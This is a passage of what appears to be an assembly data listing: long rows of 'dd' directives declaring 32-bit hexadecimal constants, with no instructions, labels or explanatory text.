0F2D562C7h, 2B358790h, 7C3A1C32h, 96CB452Dh, 55B501FBh dd 2A08F94Bh, 0E9F00EFCh, 9A935249h, 0B3AD3C17h, 0B1BE613h dd 0E5543003h, 365BCB80h, 0EF0F33A5h, 43EFC9CEh, 0E8DBCE42h dd 4AA0E9A7h, 0B4559227h, 0DD5B2A69h, 4CC7AD68h, 29E91354h dd 0E639FA32h, 0C2EBB32Bh, 0DAD5DDE9h, 0EFD89738h, 8076DAB5h dd 80D95B2Bh, 0FEF7820Fh, 0EB920176h, 99F61E0Dh, 0D60A443Ah dd 0B672DB3h, 4CF5B710h, 4E55AC4h, 166055CAh, 89045696h dd 4ED66839h, 135454CCh, 0A0AAE95Fh, 4602BE72h, 951CD31h dd 0EEE82F7h, 0A38FA9Eh, 3F747B61h, 0BB6008BAh, 3B6BB801h dd 8E92D7Ah, 0F4286735h, 0A3BA52A0h, 645C0B02h, 4003EAC1h dd 82A69052h, 49A0F9FDh, 8526A5D2h, 471F69C8h, 8DDE5E7h dd 702F1AEFh, 7B4D2742h, 407D1DE0h, 98659D24h, 2F25B30Ch dd 17D55809h, 0E939E185h, 0CA4D1045h, 16385D2Eh, 1961AF13h dd 612AD9A4h, 0D1C175Ah, 946EA1E0h, 0BE3F64FBh, 0B9D918D3h dd 893B36CEh, 7A12F5CAh, 92853D34h, 0B5934B44h, 157F2D00h dd 1DFE22D8h, 4FE4DA4Dh, 247FF0CAh, 82F2B432h, 0EA80ACB2h dd 8EAFC157h, 8217BDF8h, 5D4F7D64h, 0A3F422BCh, 0BD91D295h dd 6800A83Dh, 74AA64CFh, 80D19A5Fh, 795A474Ah, 6B34B845h dd 0E75C0D43h, 0D2A50F1Ch, 0B9C989Ah, 56951272h, 2DE2AA0Fh dd 517E0B29h, 3D69AA88h, 40201787h, 0D0EAA428h, 1F4DBEA4h dd 226A953Dh, 5ED497C3h, 497BB951h, 68FD019Dh, 829BF5F8h dd 57597540h, 5532B325h, 0D0F66A2Bh, 6E180B00h, 9B85052h dd 4B9145A0h, 9709E858h, 637B5A0Eh, 39D3C089h, 0C1CE4B94h dd 70C23105h, 855482C3h, 1F5B6D96h, 53FC1B3h, 1D5A7F90h dd 0DACBD530h, 80DE4E76h, 505FA4D2h, 60C1FF6Fh, 0BAC6B389h dd 0A14BF5E0h, 0C0E3B5C7h, 0C73F0F46h, 7AEF0721h, 5A33766Ch dd 27396817h, 0B22E85F3h, 0F9878B71h, 0DC7AA77Dh, 0E282146Dh dd 3D3060D4h, 0B263D04Ah, 0F859F3A0h, 9DF570B5h, 0E942ABD9h dd 9723506Dh, 9456380h, 0F2A038FFh, 342D7190h, 6D08DD21h dd 0C85E1408h, 0F1C3E2CCh, 12473C07h, 8219490Bh, 9C2882Fh dd 3A202D58h, 0FF215A4Dh, 0F8420309h, 0B5A74917h, 36ABBA03h dd 0B81C0A65h, 62027985h dd 4B9D800Fh, 0A0D65BDFh, 1E18C412h, 0B72A5FEDh, 498B2728h dd 12EA6B05h, 0A974FE08h, 1FD7E7FAh, 954BF201h, 0B7F81974h dd 5B77F97Ah, 0CA884A80h, 0CEFC9759h, 0C0DD2250h, 50AAEA55h dd 29341108h, 80596CAh, 0F6F95259h, 0C12EE983h, 61EB391Fh dd 7D0DF88Bh, 774CDF40h, 0BE2D29B2h, 65CE0FC8h, 20FE90EBh dd 40F6BC28h, 0CABFBB90h, 2AAFC84h, 4F481532h, 0D8C5F489h dd 4CD8BA00h, 9D426A7Dh, 0C348CEDCh, 82FFB230h, 8F25E5A0h dd 0B61ECA60h, 0A602E99Dh, 27F10C0Fh, 5DE821C0h, 0E9C00C09h dd 8AC9D66Bh, 76BC71F4h, 7A79F96h, 0B4F2B24Eh, 3D79EC2h dd 6CB955ADh, 0E9D07B8Dh, 4AFEABB2h, 6533C0C2h, 7D95CA20h dd 0AB831A0h, 0FA036D33h, 895EF001h, 0F4ECFAC2h, 0C99324F1h dd 0DA175F10h, 58BE80h, 8120EA5Fh, 670D9CCEh, 8AF6E9E2h dd 70EB5BD2h, 1D2EB083h, 49BF125Eh, 907059E6h, 2C1ED89Fh dd 1306BF7Ch, 0D2005D29h, 0CACBBA7Dh, 44EB801Fh, 0FF310C68h dd 40B1EA32h, 95D82EADh, 11092959h, 0DA035C91h, 6F312C11h dd 4652A453h, 0FB89F5A9h, 4458AA7Ch, 91F782D2h, 0B98463CFh dd 0D871E268h, 0C4FA150h, 0F983529Ch, 0B1BEB82Eh, 913F058Eh dd 0C26AAF9h, 0C7BD0155h, 0C1210269h, 6FBD30EDh, 0F38123C0h dd 974018F6h, 0EDE5F3A5h, 7FD55B4Ah, 7D6D6F8h, 0BC9ED8Eh dd 0B0DF14D5h, 357F493Fh, 79D93B9Ah, 0D277E9E1h, 0A2618C6Fh dd 0D480935Ch, 621F5ED5h, 155DD54Ah, 5AEC2544h, 0BC585927h dd 2F68DF20h, 2ED0EA83h, 463F7105h, 65935B2Fh, 580ABA0Ch dd 0D4F305E0h, 16D6F8AFh, 894047C0h, 0C85272FDh, 26B43DEh dd 8274CBh, 0F17180B8h, 8B055400h, 0D7AB464h, 0FE391486h dd 137CB30Ah, 0C16383C1h, 60C53111h, 989D164Ch, 0BF14D824h dd 6F3092E6h, 0EBF1015h, 7292627Ch, 425CEEF5h, 2C97246Fh dd 2A94FEAh, 91534B05h, 7A5EE1ACh, 0A89C0398h, 72D1B286h dd 0B6F69D30h, 0DCF32809h, 2FE98412h, 74EB85h, 0E8968709h dd 0FE73365Dh, 0BCFEC2Ah, 7DE1F60h, 2345AF55h, 917B78A7h dd 0D5C65AE9h, 623584E6h, 10C59389h, 95FE7AEh, 663ACB68h dd 0CA852562h, 0D7EE9ADFh, 1689BDE8h, 593EF01Ah, 5E070542h dd 670704BFh, 0EAD21D9Ch, 7D8DA02h, 0C700D74Bh, 600E3035h dd 0F141EBB0h, 7D1466Eh, 5E4B108Bh, 2C8209A0h, 1963513h dd 3B1230E6h, 3AC47E74h, 0B0F39FF1h, 586BA067h, 134BF2A6h dd 1A58A6ABh, 748ACF53h, 8BE9E158h, 0E4B96FB9h, 22BC0303h dd 74EFF501h, 4227FBCCh, 8858E700h, 875B5CFAh, 0C7E01D20h dd 4A4AC9EEh, 0BB8E0EE3h, 178B7223h, 1393CBF0h, 0C656642Dh dd 251C96F8h, 47B15EE0h, 0CB075E2h, 0DCC70B3Fh, 9D86151Bh dd 8E3305CCh, 8FC29336h, 88B057C6h, 85C0DC85h, 927BF5E6h dd 860F0B51h, 0E76A13D9h, 146FF04h, 0B90BA2BDh, 56ACCC8Ch dd 26702161h, 0CC7CDE9Fh, 3F27E965h, 64B67EA0h, 7716FFECh dd 82F514F8h, 237F51EEh, 2DEF1D0h, 65EDEFA1h, 0A740020Eh dd 0F19DE0D8h, 0B1D4E93Fh, 7047E98Bh, 0DEF9BD17h, 0C075352h dd 0C6297554h, 5FF19203h, 0E9F02901h, 0EF543BD2h, 0C7EC66C4h dd 844A8558h, 3187FE5Ah, 0E81348A4h, 0C90984C7h, 0B0B92881h dd 0B021BA2Eh, 0A1973DFAh, 3C1EBEAh, 0F00D574h, 17602287h dd 0EEFCEA89h, 52AC2A48h, 0E94F17FEh, 59CD4BB3h, 0E398B684h dd 0F894D634h, 55541DD2h, 16A835D9h, 245D4F5Ah, 0CF7F0ACCh dd 50F4FCC8h, 0C1872CF7h, 0ED68585Fh, 0D7A36A0Fh, 0D02CBE97h dd 4195597Fh, 56CEEA30h, 2F251B35h, 880C15Dh, 5ECCE97Bh dd 0E9126AADh, 295BB842h, 702C595Bh, 2D095208h, 0A42DB825h dd 53B7C6ECh, 94024B16h, 8472B30Dh, 719F5FE4h, 592A6A57h dd 328DC473h, 2CBF5755h, 463B00C1h, 8F0F26D0h, 0F7CE407Fh dd 51CD758h, 2930689Eh, 3A89E5C0h, 350D5EBCh, 91F6842Dh dd 6C736861h, 0BCBEE4E5h, 0D4E9E343h, 0C13E59F1h, 888947CDh dd 792619h, 1356F281h, 62956BFEh, 8AECC801h, 14C6B5A8h dd 0CEF6C425h, 4A65F67Eh, 0E5354054h, 0C1524960h, 1FB4E34Bh dd 3ECA30E9h, 77B0CE23h, 15C2434Ch, 9327DAD0h, 61FA0716h dd 3823AE6Ah, 575FCBDBh, 4CB0969Eh, 0EED1D460h, 4FB06B4Eh dd 0A4514455h, 809BAF04h, 0A90B5527h, 0C5261C57h, 0AE693C45h dd 4012FE30h, 58EA90CCh, 0F680A690h, 8C724863h, 2F7E0CC1h dd 352015A4h, 0BA1A1795h, 1ECDC633h, 0A26F2D07h, 0E0CBE9B2h dd 1A875FEAh, 8D1F7CDh, 37F90780h, 5A9F1BF3h, 6F40203Ch dd 41F76815h, 0D6347D69h, 0E3BA10BDh, 0CDE98685h, 0C6833F1Bh dd 71BF9460h, 7EFC73D2h, 0CAF59F64h, 24541BC6h, 20E425Ah dd 9D2F74CFh, 561C7B70h, 5DC4FE89h, 3D15F5Eh, 0B62A0FA2h dd 0A55A0BACh, 0D20BDD6Bh, 0D9AC86E1h, 1076CE8Dh, 0F06B684Bh dd 313EF643h, 680BF135h, 0C3616E0Bh, 0CD6ABDD2h, 260CE494h dd 8096E9D8h, 0BDEB90EFh, 99EBE3D8h, 0B4063310h, 0FDEED231h dd 6CA86A2h, 1312D00h, 280C4A47h, 7B975E4Dh, 7CE986EFh dd 80011C0Bh, 8A0F90C9h, 4C3EB1CCh, 580AE156h, 8B2D689Ah dd 1EDD7BEBh, 0AE82755Fh, 443A80E5h, 0ABD66FC4h, 36B35D45h dd 0BDCB0605h, 5B2783E3h, 0CFBB0879h, 63672CBAh, 56994002h dd 4002E0C1h, 95A45AF8h, 645746A0h, 0F8BF1673h, 0B4FBFCAEh dd 49BA01B1h, 35058702h, 1D9BB11h, 3CF66853h, 68492A38h dd 2F92F03Eh, 0D7E3C29Fh, 5C44FB65h, 788344FBh, 0F349BBD9h dd 27C954EEh, 91B01C7Fh, 5590CBAEh, 9968122h, 845F9663h dd 0AA729CAAh, 31EE1206h, 121BDEF7h, 0E823B5E9h, 0B126C50Dh dd 5F020809h, 3AD07787h, 34B3139Eh, 0A0138452h, 0F1FE2D70h dd 0A303C224h, 27197207h, 9B285D19h, 5A580808h, 80205A22h dd 0E8B90B6Ch, 5C0377D6h, 1F12152Fh, 31BE62B8h, 8949C44h dd 6EDA09BFh, 80DD389Eh, 6099CF37h, 20645807h, 71F8FC04h dd 0CA04FAA6h, 2AE112E9h, 503D1232h, 0F4F84B17h, 5A62AB26h dd 5DAF9F14h, 680B8759h, 7D84728Eh, 6F0981DEh, 2DCDBF21h dd 5E890F00h, 44FAA84Bh, 905B7143h, 0F38B5281h, 68B10A91h dd 84C39875h, 0F291A8AFh, 905E757h, 0A95EBBA0h, 49B76861h dd 5E49987Eh, 396235BCh, 0A8FE0993h, 8576612Dh, 0E1BFEE34h dd 3191BF0h, 3167EF81h, 0DF9866E6h, 715FC3E9h, 207AB0E6h dd 801C4837h, 8D2CF5EAh, 20DD3401h, 169F58C2h, 0E7E28E24h dd 3086F2C2h, 2475447Dh, 6B320AFFh, 259688C5h, 52C69C21h dd 55359C42h, 820F176h, 6813F6A4h, 60BB41F2h, 0BAEFE9F5h dd 0DF999F83h, 22D8BD8Bh, 6A5F5326h, 0DFF92158h, 92FE451h dd 0CCA0DB48h, 0AF040C2Ch, 825B7AF4h, 0BCB125C8h, 49551F10h dd 6C7DD634h, 0F1873E5Eh, 0E3C31C97h, 172A791Dh, 14FA699h dd 74F07344h, 13A2E817h, 7AA397B7h, 0CE567605h, 47FF1C51h dd 900A6E53h, 461A9EBEh, 0DE0EACB2h, 0C04DDB03h, 0BD2924E9h dd 829DE775h, 68126096h, 3DF3091Eh, 95604C02h, 9FC13125h dd 3CB6404Eh, 59144412h, 8267F301h, 52D8C8E9h, 27FF08A1h dd 0E549039Eh, 0AFF0272Bh, 6709F974h, 0DDC621E9h, 36C15913h dd 89949FB8h, 7C6199BFh, 0CCD67DA3h, 0E311316Ch, 0E05EF539h dd 0D7828A27h, 7D881F7Bh, 0E5BF0182h, 3F878B56h, 6CF31D2h dd 908021FCh, 150F3A90h, 0A5CB292Ch, 0E421AC14h, 8B89BE1Ah dd 0BBD145D0h, 771CCE92h dd 910EE986h, 0CDB2A8BDh, 98208C31h, 22F097D0h, 3E638610h dd 0A7041069h, 401385h, 28E8C1C6h, 595A3CF0h, 0E7680C85h dd 0D23D2176h, 0EA234Bh, 0B151FCB6h, 13C9FEC0h, 611C1EE9h dd 0C2D345D7h, 7D6FCEFDh, 3A3C2F57h, 9C0FA020h, 0AF691E3h dd 26F3314Ah, 0AC981117h, 2605D616h, 2CF4C560h, 0F026194Ah dd 0C4AB0C44h, 310971B0h, 50E2E9F2h, 7EBD0791h, 0A4402768h dd 7B2EE57Bh, 0DD61CBE0h, 5DA5873Ah, 85E99787h, 0D5974BD4h dd 0FA7264D5h, 4031651h, 2B490868h, 3252560Ch, 20F2BA79h dd 35F4054Eh, 32D0125Ah, 271557FFh, 0E8D62140h, 9C9708h dd 814BD387h, 0A1745F3h, 2F0C01B2h, 50C07073h, 62919FE8h dd 39F35D40h, 5E822379h, 862DE807h, 9C443E3h, 6F519BEAh dd 0A15D9789h, 0BC8BE95Ch, 5CCCBD2Eh, 0A037892Fh, 2196BB17h dd 4B3D7A6Ah, 0F97413F1h, 0CCAB9671h, 80973DF7h, 6A19B872h dd 0E33B4CC0h, 48C88A25h, 54A488CBh, 0B46E9E0Ch, 1FBAA21Fh dd 0B1CB9A59h, 31E7C18Ch, 50E2DA4Bh, 15E92960h, 6C9D7BB0h dd 22C9E22h, 57D813CDh, 4AB3C7D7h, 1D059539h, 7D190B59h dd 0EC68AF2Dh, 732C9B1Bh, 0D0B9D45Fh, 0FD4F2092h, 0BE0299F8h dd 0E55ECFF8h, 4F26687Ch, 70F46513h, 21B441FEh, 0D207206Ch dd 9530CD40h, 57A0A0FAh, 0A995DDE8h, 352A80A0h, 5937F847h dd 0AEC4315Ah, 2EDACDEEh, 0E9C448A3h, 88EED232h, 0A8C4D342h dd 2E13474Fh, 418089AFh, 93C34B4Fh, 3B09E52Fh, 1D17D81h dd 92B85080h, 1972D35Dh, 724329E9h, 7AEC43B5h, 0C9F213F4h dd 71E410h, 2F5E6568h, 73095B02h, 2F773DDh, 4B49BB53h dd 90E12691h, 0E7D1019Ch, 128A4A20h, 0ADF224A5h, 5CEA273Eh dd 0A037A88Ch, 0B0476C8Eh, 0BC384FB5h, 0FDC2A792h, 5B7A976h dd 0DFB5EDAh, 11939B23h, 31EE01D0h, 32A23FF5h, 75DB7710h dd 1CC0794Eh, 2D688EBDh, 29DD2858h, 0B2F95DCBh, 80BF2BD0h dd 0D07E8D1h, 32111777h, 5FC5AFC2h, 389FB918h, 0DBA402BBh dd 5FB22B17h, 2F8A9ED9h, 0A1100ECAh, 0FAB24F65h, 2DE1B393h dd 0C24354AEh, 0DB7D7527h, 0E0C006E7h, 7EF30607h, 0CDBE8D81h dd 80BBB100h, 2F95C13Dh, 5764C282h, 0C1D2F9FEh, 2038772Fh dd 174538CAh, 0AE9CA560h, 0EEC0EEAAh, 0B52B0D47h, 379CB858h dd 75060B24h, 4BB83035h, 0FA1216D5h, 0A055602Ch, 2F78F3ECh dd 82FC79B1h, 1545751Eh, 4CEC50E9h, 90CAFE4Bh, 57E6890Eh dd 60BC6880h, 46BD78B3h, 0C0E916B0h, 69B8E3D1h, 5A2E5C39h dd 8EDF9D5h, 0BD0E7060h, 5576C506h, 2F68D5F0h, 2099670Eh dd 9949F62Ch, 1C7EE6BBh, 0FC880360h, 0E2080A5Bh, 2DB98058h dd 0EAFE825Dh, 10C90AB2h, 9E680B64h, 20C2C67Dh, 789DD271h dd 0B663F0F7h, 0D54025A8h, 43024D50h, 3D8C0F46h, 3DE97A23h dd 4B9F6AFFh, 6B257C4Eh, 0FAEEAE68h, 0CEF77A3Ch, 0BF73E0FCh dd 1738E628h, 4E85C230h, 6A45C855h, 5335305Ah, 83316F3Eh dd 9FE9AC13h, 20AFE253h, 0AA67DE48h, 7BE85D4Bh, 0FDBC4800h dd 0E9C589E2h, 56F038EFh, 0FB357B6Eh, 4FE44F0h, 0FF64CC47h dd 9B131531h, 0CB346Bh, 8D50BECBh, 42248F62h, 141EA330h dd 5E3DC549h, 138A20FEh, 4B0FBBDh, 0E893EBD5h, 5FE2E71Eh dd 518FFD9h, 0CE09087Ch, 80D1316Dh, 7011EFDAh, 1021ED8h dd 8C714CFh, 492E5924h, 0DCE09509h, 0C005E35h, 0E0C11539h dd 5580506h, 0E9719821h, 0EC9556B0h, 51DA00AAh, 1D0A67B9h dd 0E39B83Bh, 6DA0479Ah, 35B6C9C0h, 0C1F82BF1h, 5B650E0Dh dd 0F3F00C0Ch, 0AF2BED6Bh, 0A3EACB00h, 9F628E73h, 322C065Ah dd 462CB2AEh, 0F4C94A1Ch, 1F947F4Bh, 78A9D20h, 65484FBAh dd 98DAA209h, 0ABB98593h, 18F33B72h, 15665060h, 0C112656Ah dd 0BF9507E2h, 0FB00B9ACh, 0E94AF54Ch, 98B4EDDFh, 0BE55B2A2h dd 4947F0h, 0F12235Bh, 0CB01822Dh, 799BCA68h, 0A65F8818h dd 0B1915917h, 87054D46h, 602B61A1h, 0C68B2042h, 5E275BDDh dd 0FE5F9361h, 25E9F728h, 1D7179D4h, 0CEC0A6B9h, 0AC6598C0h dd 9C49FA02h, 200916AFh, 546D75Dh, 14B0C7A3h, 3B48B41Bh dd 41AC2755h, 0B1305352h, 20364F24h, 0AE056655h, 13B6274h dd 0F2DB6C8h, 7DB66B2Ah, 422DF656h, 250783A3h, 375AFE13h dd 80EF6CE2h, 6FB3216Ah, 88BDF598h, 80C0BC01h, 0FEEDF3F9h dd 0FE7B4B1Bh, 0C4689023h, 739149EEh, 0D9F7A242h, 0AB8DC731h dd 16AE3AE4h, 3898652Ch, 0F35A6FC2h, 7293BDD1h, 0C15DB8A6h dd 46BC716Ah, 0E0FF22Eh, 52E32D53h, 4654F809h, 77AD141Bh dd 0A32CBEDEh, 0E85FA581h, 82749F7Ah, 36C1C1D5h, 80F1037Bh dd 3CF925EFh, 37B834F2h, 0F18B5065h, 0B48828B0h, 0B26F0BA4h dd 450E8CBh, 181653EAh, 52E0AF4Ah, 0AAC35B29h, 0E9D8C160h dd 3AA96A08h, 2C30B29h, 0E46FC95Ch, 0CEFB1B92h, 0E2969F40h dd 5B479CEAh, 17175173h, 0DDC502E9h, 8724E2EEh, 20878CAh dd 801A6AC7h, 37E361F7h, 845FF952h, 0A2EA8CAAh, 49B3A53h dd 0D509E0DFh, 0E364DDFEh, 4540A492h, 58808EB5h, 3FF6F05h dd 79785667h, 5849F97Dh, 9B4FFEE9h, 22D397E6h, 0F5780BBEh dd 344CE481h, 3513BA98h, 0CDB82171h, 7924492Ah, 0BFB1F058h dd 1351F4A7h, 45D93183h, 70386A5Bh, 0FEB1DD0h, 5E8B2D88h dd 8B30A95Dh, 30925D58h, 0A57A8560h, 10485BCCh, 48B35BADh dd 681E245Dh, 3C356E96h, 760EB2BEh, 0F50ED790h, 462FE967h dd 1E4EECF2h, 88E7865Ch, 128A441h, 6B72A10Ah, 0BF389D36h dd 0C2662547h, 0D5ECDFD4h, 0F3BFF525h, 0B02993FDh, 0C840A150h dd 0AEF7B431h, 2A923E61h, 0E435A85Fh, 1DEC9CC5h, 0F98BFE4Bh dd 0A1E0E9C5h, 9FF26ED1h, 38866882h, 0F980E079h, 811CBC18h dd 3BD012F5h, 0B5EE09F8h, 0C85F62E2h, 958C70Ch, 1A6F685Ah dd 299A8645h, 0DAF1F522h, 0B6ED4E2h, 4B0BF1FCh, 9656DE9Eh dd 2F67AEEFh, 7CF881F2h, 520F8353h, 86A00579h, 0AC9EF754h dd 147F6BF9h, 150AC88Fh, 8EDC580h, 632488F9h, 0A97604Eh dd 50012CF4h, 0B7A4FFF1h, 3318C420h, 98B94F52h, 0E1792002h dd 990A603Ch, 45FC261Fh, 73430184h, 8F4E6286h, 6895CA50h dd 83E62C68h, 44A16DF6h, 2240CECBh, 54BD5908h, 0D8585215h dd 479C5795h, 6071A8BEh, 2FED254h, 5F9C686Dh, 0B6529477h dd 0A776892Ch, 0DFB01477h, 824D978Eh, 11405383h, 0F2056FA8h dd 0CE875E28h, 8A8B27B0h, 0EB685801h, 6FC24D4Ch, 0B94BF9A7h dd 1FD387E2h, 864A3F12h, 980FCEEAh, 6C94068Bh, 66296213h dd 0EEC44820h, 5007B6D5h, 0B6316845h, 8DC7FF7Ah, 8768B83Eh dd 0EB05A1F5h, 42EA2785h, 429CCBEFh, 8017EA5Dh, 3E7D2DF7h dd 11E91662h, 0EACEAFD8h, 0FB5E0764h, 4020AFD8h, 5BE831DAh dd 172C96BFh, 2872D9Dh, 4906E1ADh, 103E20DFh, 2E83F5BDh dd 1531CA09h, 804FDCCFh, 0FB5614BDh, 0B485574Ch, 7E0211FDh dd 5F1DF113h, 8EE308DFh, 6088E958h, 75CEF76Dh, 5109A206h dd 103F8C0Fh, 184BC6A7h, 0CFB7F57h, 0CE09A1BCh, 600EE984h dd 2820DC5h, 0F454330h, 93D8808Fh, 0CC628490h, 77E24C0Bh dd 576095F9h, 432CABFh, 0FE090841h, 46A0805Fh, 755F29E9h dd 87508DE6h, 0A7021794h, 3A50EA2Dh, 0CA5D3208h, 0C37EDC8Fh dd 0E7124D2Ch, 0D520CE9Bh, 7BF95162h, 635E2C55h, 7DEA780h dd 0F2ED830Dh, 372378D8h, 503073DCh, 31431559h, 4D0C04BCh dd 0D6E5D9C9h, 848BA60Bh dd 0EB49F4CAh, 68A64774h, 51526D02h, 8E407F11h, 1600FD0Dh dd 0C03525D8h, 675653Eh, 64E9C301h, 5A95A3D3h, 0D530202Ch dd 0E4F93AE9h, 8546B35Eh, 0E4AA68E9h, 985B5E82h, 4BD78753h dd 1CBCA8B4h, 46D0282Dh, 6A508E30h, 40881EB6h, 2B4AE9F0h dd 0D62CE8C1h, 3A286FC8h, 497D04F8h, 6A644ADCh, 0F423CD6Ch dd 9FBA73B3h, 34EF015Eh, 10F6FD82h, 0B44B4CE2h, 481706D6h dd 0D4F82001h, 9F6153A7h, 0A1F3EF84h, 1BAE055Bh, 0DCD3E562h dd 0D1C99A99h, 2B6745F0h, 0E113927Dh, 9BED7E1Bh, 229AEEC0h dd 12C3EA7h, 0B412C1F3h, 5B4073AAh, 5378CE1h, 8921B0EBh dd 0C87B762Dh, 1210E632h, 78185Ah, 4CC9EB55h, 0BD3D5E5Ch dd 2B7F8EB5h, 13471468h, 99ABA6ECh, 370369Fh, 72E9DE01h dd 0AC0F5A2Ah, 0D3589FF4h, 0E34F583Ah, 97A0BFE0h, 0A8F9B85Dh dd 3B8F9217h, 264BBC05h, 0A6800F4Dh, 79BE5427h, 0BD49662h dd 0E7972174h, 115D7F91h, 558B7868h, 25FC95D7h, 0B98323E6h dd 0D375F7AAh, 0ABF8126Eh, 0BFDFB668h, 0BBB0103h, 0E936A6D9h dd 0B9AF240Fh, 61271412h, 123501AAh, 3B42DB4Ch, 90713F0h dd 490D0E11h, 80B42905h, 0CA312EBFh, 580FF2CBh, 0BBD995B7h dd 185D9F6Ch, 8745F568h, 89819DB4h, 108FB97Fh, 14BF37Dh dd 0B70D15C9h, 0A90C817Ah, 29170509h, 8402F3Ch, 0DF4327E9h dd 0A1A190FFh, 2963C41Eh, 4C76F9CFh, 0A8C314B2h, 74ABB4A3h dd 3227AD51h, 0F6224253h, 7552E29Ah, 2E426800h, 5B477A2Bh dd 40013C6h, 0AC220DCBh, 9099CEDEh, 8884BA4Eh, 0B0C9ACEAh dd 4ABAE952h, 679DBAA7h, 0F0A0987Fh, 2BFD0AB8h, 0BD4BE98Bh dd 16190210h, 65572C58h, 0F9B88067h, 48611873h, 1B850F17h dd 0E4402B4Eh, 8A97BB8Ah, 0EA8BF350h, 4CBAB042h, 7C867DB7h dd 0DFD8E95Bh, 2426B59Ch, 3219E1h, 1DAC1BC8h, 0C031E94Eh dd 0DDB4386Ch, 166E5C0h, 0DFB15158h, 308CC180h, 0AA836831h dd 0E29A9140h, 9F80F8F0h, 0A04DB710h, 57E5BF94h, 0E90542FBh dd 0C8A2D1BCh, 9D7116F9h, 2B12C520h, 9EBD3C9Bh, 8E73F317h dd 0B3502B5Bh, 0EA65C13Fh, 857E9061h, 0B9CA691Dh, 0E1236058h dd 0E2A26A5h, 0CB8D0F05h, 0B8E92FF8h, 0EA93B014h, 0D72E10A3h dd 0BE6BB616h, 707CA431h, 22155A6h, 5B66A3C2h, 0E3FF5C55h dd 0CD98E0C5h, 0DD028609h, 0CBE9DBF6h, 8053DF75h, 6EC38181h dd 77BCC10h, 0EBC8E97Ah, 83EFA1A5h, 345FE82Dh, 9B058513h dd 2EAE1FBh, 6BA26877h, 0FB976546h, 4CA50BC5h, 0B260FF56h dd 25447F55h, 0F78958E9h, 41F50AD7h, 2C2C8F70h, 16D971FFh dd 7D03EA05h, 0A2CDC735h, 36405F78h, 49823D91h, 104859Eh dd 52D3AFA4h, 0B322EC7Eh, 0AEDB1392h, 0BBADDC9Fh, 5CFFE12h dd 0ADBF8070h, 0E9DF0B8Ah, 56E5F8Bh, 0A3F45250h, 0CDCB2BD2h dd 0BBEE210h, 0C5369D68h, 45592E2h, 0CF5F9E1h, 0B63750ACh dd 0AF5C44D1h, 5B851AECh, 0E474AC5Fh, 6E7649F1h, 865FE90Ah dd 0CE309DEFh, 0FEF264BDh, 0DD1088A3h, 23ACCD73h, 12FDF22Ah dd 1224870Fh, 1835A2AFh, 0B2C16A09h, 4BF7F0A5h, 9FD4E31Dh dd 745A758Bh, 2CC1A081h, 0EBA14F28h, 2BEF46DDh, 0FC7081h dd 196C111Bh, 94B8EE9h, 0BC409ECh, 0D8280034h, 7253DF2Ch dd 4F69F8B3h, 0F799D5h, 5D49F0CFh, 0C8E5104Ah, 0E3040804h dd 3CEE7793h, 55015B86h, 0AD4D1DBDh, 0A42F4517h, 4618091Dh dd 0C50E3768h, 12B012E8h, 5572F0C8h, 301D67FAh, 2EF07BDCh dd 6F0C3170h, 25220C1Ch, 62F76F36h, 4DEB5DDAh, 0F66116B0h dd 0E9503304h, 36B4E754h, 8D89BD59h, 0BFD9167Dh, 6C7FAC3Ah dd 9399047h, 28852B5Eh, 81AA877h, 2805A18h, 897F9768h dd 7ABF9C15h, 0BFEDB78Bh, 0AEE98731h, 0B71C6938h, 0BBF8123Eh dd 64AB8612h, 0B8CD04B7h, 0C8AE137Fh, 44BC809h, 4139FBCCh dd 48BB00CAh, 1D00454Dh, 0B850EDD1h, 7BA688Bh, 0E882D3Bh dd 0E8A32FA5h, 59407EE9h, 8005F7ECh, 0FD89943Eh, 439CBD81h dd 0B18BF62Ch, 0E4475C82h, 0BD808104h, 17BDD60Eh, 0CD44F468h dd 6E800075h, 2D0B7E5Dh, 719770E9h, 38D7EB22h, 423323Dh dd 20682B17h, 0C0D2F850h, 57FF63B0h, 0E9E8BD47h, 21299F7h dd 53017B1Dh, 9588EEA1h, 0AE64EC31h, 0B60303B1h, 59CE30F8h dd 0FE55F582h, 0AAC83B8Ah, 5213713Ch, 82250B50h, 5195E9F8h dd 0D6EA6FC7h, 4893BA93h, 8420EAD3h, 0B5CB5285h, 426B49F1h dd 5B96FF27h, 0C55BF05h, 65C2090Ah, 1C79506Eh, 12D6ED80h dd 9EA67EBh, 3924C877h, 2A85CBC5h, 584F6AF8h, 75319FCDh dd 20258746h, 6819A237h, 361510EDh, 79B2A951h, 4075479h dd 0A05253C0h, 3FF2803Ch, 0DAD78827h, 0E9220C08h, 0D94B76CFh dd 0B037E69Dh, 0A58A2FF1h, 5B679679h, 9EF4A6E5h, 0AD4602EAh dd 0D1019915h, 0BFA065F7h, 94A557B1h, 555C0128h, 0EAAFE0EAh dd 6EB72630h, 348F028Eh, 9EE01962h, 59B5A8A9h, 0EB5D8C3Ah dd 9E2DE371h, 0BE8CE158h, 881C696Ch, 3A31AEF8h, 9D59EC95h dd 212DFE97h, 6B4EBB08h, 34F7A527h, 0E4895FE4h, 1112B002h dd 1C802B47h, 0A12DD029h, 7C785A0Ah, 76D8FC93h, 0A4F27812h dd 93DF400Eh, 4A349BFEh, 5C8988ABh, 9EF48002h, 0C8ADBFE9h dd 0F61CEC12h, 558B7BC4h, 6D0A8635h, 0B33D0748h, 0F72B4A81h dd 604840D8h, 0EC9E05EFh, 94321D67h, 2786D056h, 3B714E86h dd 5BEEB995h, 0F85F6BA8h, 84095813h, 5E0147F3h, 522BD268h dd 0E87085ECh, 0CA955C9Fh, 119F00DDh, 0D701789Ch, 0C089ED0h dd 418C61E9h, 0B3862BFh, 95A99D84h, 0EC476875h, 73D39E60h dd 91AA9EF2h, 0E0BF283Eh, 3583C65h, 2510F924h, 860F7C60h dd 4FA11F5Fh, 43E1D82Eh, 0BE9900BDh, 50861D97h, 2D3CB1Bh dd 0E90FFD06h, 0C5D74DEAh, 9C57CB9Fh, 0B5295EEh, 6605E779h dd 0C71DE912h, 13C2EA47h, 36B5E83h, 4AB4F699h, 36DF5791h dd 0C10F2720h, 46CC8823h, 46B1EE8h, 47FB40C3h, 1EADABF5h dd 4843B803h, 84D5299Dh, 0A039F5B9h, 1840DCB8h, 0FC72CC58h dd 4E262FF5h, 290C04EBh, 90C687E2h, 303B3152h, 2192D192h dd 2D7A50EAh, 4A646BD4h, 48AC6C52h, 7309B93Dh, 8B575B72h dd 36C0F55Ch, 2D07ABE9h, 0CF214E03h, 62CB3CCFh, 5F02F707h dd 335D5BF5h, 79919211h, 84E696D4h, 8C2CEE0Ch, 51844831h dd 0A1395292h, 0D99D01C8h, 685D2E86h, 59742BC9h, 0B60B8813h dd 